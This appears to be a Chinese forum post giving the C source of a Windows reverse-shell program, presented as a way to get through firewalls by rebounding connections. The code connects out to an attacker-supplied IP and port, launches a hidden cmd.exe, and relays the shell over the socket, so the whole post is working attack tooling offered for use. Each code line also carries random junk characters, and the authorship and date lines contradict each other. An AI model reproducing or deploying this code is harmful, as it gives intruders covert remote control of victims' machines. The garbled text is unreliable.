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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )h}IZSm  
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/* ============================== {U;yW)  
Rebound port in Windows NT 6nL^"3@S!  
By wind,2006/7 9rMO=  
===============================*/ ^VXhv9\>B  
#include +*8su5:[&@  
#include EX8+3>)  
C 7C4 eW8  
#pragma comment(lib,"wsock32.lib") ooVs8T2  
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void OutputShell(); yJI~{VmU7  
SOCKET sClient; 3=d%WPgQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +4:eb)e  
!mxH/{+|n  
void main(int argc,char **argv) BEOPZ[Q|c  
{ hWy@?r.  
WSADATA stWsaData; qnp}#BZ  
int nRet; n<C] 6H  
SOCKADDR_IN stSaiClient,stSaiServer; KUJLx  
#Nh'1@@  
if(argc != 3) (,h2qP-;ud  
{  WwB_L.{  
printf("Useage:\n\rRebound DestIP DestPort\n"); zP44 Xhz  
return; G%I .u  
} ]Kt@F0U<o  
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WSAStartup(MAKEWORD(2,2),&stWsaData); {5Bj*m5  
q}t]lD %C  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @:?[R&`  
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stSaiClient.sin_family = AF_INET; gF,=rT1:>r  
stSaiClient.sin_port = htons(0); }i8y/CA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5?^#v  
r]!#v{#.  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k ;^$Pd?t  
{ Uoe{,4T  
printf("Bind Socket Failed!\n"); p-i Fe\+  
return; _{jC?rzb  
} Q$U5[ TZm  
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stSaiServer.sin_family = AF_INET; \ivxi<SR  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 'V?FeWp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9qftMDLZJ\  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) o-@01_j  
{ 6bPxEILm  
printf("Connect Error!"); UDJjw  
return; ye.6tlW  
} oks;G([  
OutputShell(); @%,~5{Ir  
} I(*3n"  
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void OutputShell() E4% -*n  
{ 5f7id7SI  
char szBuff[1024]; [\W&  
SECURITY_ATTRIBUTES stSecurityAttributes; 4H6Fq*W{k  
OSVERSIONINFO stOsversionInfo; M[`[+5v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vL@<l^`$0  
STARTUPINFO stStartupInfo; `0qjaC  
char *szShell; A1prYD  
PROCESS_INFORMATION stProcessInformation; s6~;)(r  
unsigned long lBytesRead; a>OYJe  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xS1|t};  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;0Z-  
stSecurityAttributes.lpSecurityDescriptor = 0; 5[4wN( )  
stSecurityAttributes.bInheritHandle = TRUE; qHub+"2  
-*k2:i`  
AJ}FHym_ZQ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v/ N[)<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ro]Z9C>1o  
Yk|6?e{+)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +g g_C'"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !CU-5bpu  
stStartupInfo.wShowWindow = SW_HIDE; %4LoEm=U  
stStartupInfo.hStdInput = hReadPipe; KyNu8s k  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K[icVT2v~  
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GetVersionEx(&stOsversionInfo); lMFo)4&P  
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switch(stOsversionInfo.dwPlatformId) L ?/AKg  
{ S=,czs3N  
case 1: [P+kQBL pL  
szShell = "command.com"; 3*<@PXpK&  
break; \1Y|$:T/  
default: kf'(u..G  
szShell = "cmd.exe"; {N}az"T4f  
break; 7n#-3#_mG  
} h\[@J rDa  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); -| FHv+  
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send(sClient,szMsg,77,0); iHhdoY[]  
while(1) nook/7]  
{ OdFF)-K >~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); i(|u g_^  
if(lBytesRead) a(vt"MQ_  
{ rNk'W,FU  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #r#[&b  
send(sClient,szBuff,lBytesRead,0); ]jD\4\M}  
} 1Rd|P<y  
else -rU_bnm  
{ \OVFZ D  
lBytesRead=recv(sClient,szBuff,1024,0); Z5'^81m$o  
if(lBytesRead<=0) break; NWn*_@7;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b@CjnAZ  
} W+a/>U  
} #A5X ,-4G  
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return; W!<7OA g$  
}
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